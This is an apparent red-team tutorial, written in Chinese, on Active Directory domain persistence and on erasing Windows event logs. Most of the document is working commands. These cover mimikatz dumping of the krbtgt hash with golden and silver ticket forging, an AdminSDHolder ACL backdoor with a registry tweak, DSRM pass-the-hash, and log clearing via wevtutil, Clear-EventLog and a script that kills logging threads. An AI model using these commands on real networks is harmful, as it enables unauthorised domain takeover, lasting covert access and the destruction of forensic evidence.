內網滲透|域內持久化與Windows日志刪除
0x01 金票
可以使用krbtgt的NTLM hash創建作為任何用戶的有效TGT。要偽造黃金票據的前提是知道域的SID和krbtgt賬戶的hash或者AES-256值。
1.1 收集krbtgt密碼信息
privilege::debug lsadump::lsa /inject /name:krbtgt

得到krbtgt的hash:
c73caed3bc6f0a248e51d37b9a8675fa
域sid值:
S-1-5-21-151877218-3666268517-4145415712
1.2 金票利用
使用mimikatz偽造kerberos票證
生成gold.kribi
mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712 /krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator /ticket:gold.kirbi"

可以看到沒有任何票證。
導入gold.kribi
kerberos::ptt C:\Users\jack\Desktop\gold.kirbi

成功導入administrator票據。

可以通過事件管理器查看到是以administrator來登錄的

0x02 銀票
如果我們擁有服務的hash,就可以給自己簽發任意用戶的TGS票據。金票是偽造TGT可用于訪問任何Kerberos服務,而銀票是偽造TGS,僅限于訪問針對特定服務器的任何服務。
這里使用CIFS服務,該服務是windows機器之間的文件共享。
2.1 獲取sid
whoami /user

2.2 導出服務賬號的NTLM Hash
privilege::Debug sekurlsa::logonpasswords

2.3 創建銀票

kerberos::golden /domain:redteam.local/sid:S-1-5-21-151877218-3666268517-4145415712/target:DC.redteam.local/service:cifs /rc4:0703759771e4bed877ecd472c95693a5/user:administrator /ptt

psexec獲取DC機器cmd

0x03 AdminSDHolder組
AdminSDHolder是一個特殊的AD容器,具有一些默認安全權限,用作受保護AD賬戶和組的模板,當我們獲取到域控權限,就可以通過授予該用戶對容器進行濫用,使該用戶成為域管。
默認情況下,該組的 ACL 被復制到所有“受保護組”中。這樣做是為了避免有意或無意地更改這些關鍵組。但是,如果攻擊者修改了AdminSDHolder組的 ACL,例如授予普通用戶完全權限,則該用戶將擁有受保護組內所有組的完全權限(在一小時內)。如果有人試圖在一小時或更短的時間內從域管理員中刪除此用戶(例如),該用戶將回到組中。
在server2000中引入,默認包含如下的組: Administrators DomainAdmins AccountOperators BackupOperators DomainControllers EnterpriseAdmins PrintOperators Replicator Read-only DomainControllers SchemaAdmins ServerOperators
其中Administrators、Domain Admins、Enterprise Admins組對AdminSDHolder上的屬性具有寫權限,受保護的ad賬戶和組的具備admincount屬性值為1的特征。

3.1 使用powerview查詢
查詢ad保護的域的用戶
Get-NetUser-AdminCount|select samaccountname

查詢域中受ad保護的所有組
Get-netgroup -AdminCount| select name

3.2 使用ActiveDirectory
查詢ad保護的域中所有的用戶和組
Import-ModuleActiveDirectory Get-ADObject-LDAPFilter"(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))"|select name

3.3 添加用戶
添加jack用戶對其有完全控制權限。
Add-DomainObjectAcl-TargetIdentityAdminSDHolder-PrincipalIdentity jack -RightsAll
然后驗證下,這里的sid為jack用戶的。
Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier-match "S-1-5-21-15187721
8-3666268517-4145415712-1106"} | select objectdn,ActiveDirectoryRights |sort -Unique


默認會等待60分鐘,可以通過修改注冊表來設置為60秒后觸發。
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency/t REG_DWORD /d 1/f

3.4 恢復
恢復觸發時間
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency/t REG_DWORD /d 120/f
取消jack用戶對adminSDHolder的權限
Remove-DomainObjectAcl-TargetSearchBase"LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local"-PrincipalIdentity jack -RightsAll-Verbose

0x04 DSRM憑證
每個DC內部都有一個本地管理員賬戶,在該機器上擁有管理員權限。
4.1 獲取本地管理員hash
token::elevate lsadump::sam

得到hash為:
852a844adfce18f66009b4f14e0a98de
4.2 檢查是否工作
如果注冊表項的值為0或者不存在,需要將其設置為2。
檢查key是否存在并且獲取值:
Get-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior
如果不存在則創建值為2的鍵:
New-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior-value 2-PropertyType DWORD
如果存在但是不為2設置為2:
Set-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior-value 2

4.3 PTH域控
sekurlsa::pth /domain:DC /user:Administrator/ntlm:852a844adfce18f66009b4f14e0a98de/run:powershell.exe

0x05 規避Windows 事件日志記錄
在做完一些滲透測試清理痕跡是很有必要的一個環節,包括在一些滲透還未結束也要清理掉一些操作日志。在情報收集反溯源等等大多都是采用windows事件日志中。
5.1 查看windows日志
5.1.1 事件管理器

5.1.2 powershell
管理員權限運行查看安全類別的日志:
Get-WinEvent-FilterHashtable@{logname="security";}

5.2 windows日志清除方法
5.2.1 wevtutil.exe
統計日志列表數目信息等:
wevtutil.exe gli Application wevtutil.exe gli Security


查詢指定類別的(這里以security舉例):
wevtutil qe Security/f:text

刪除指定類別:
wevtutil cl security
原本大量日志信息



但是會留下一個事件id為1102的日志清除日志
5.2.2 powershell清除日志
查看指定事件id:
Get-EventLogSecurity-InstanceId4624,4625

刪除指定類別日志:
Clear-EventLog-LogNameSecurity

5.2.3 Phantom腳本
該腳本可以讓日志功能失效,無法記錄。他會遍歷日志進程的線程堆棧來終止日志服務線程。
添加一個用戶可以看到產生了日志

我們再給刪除

運行ps1腳本:

再次添加用戶查看日志:
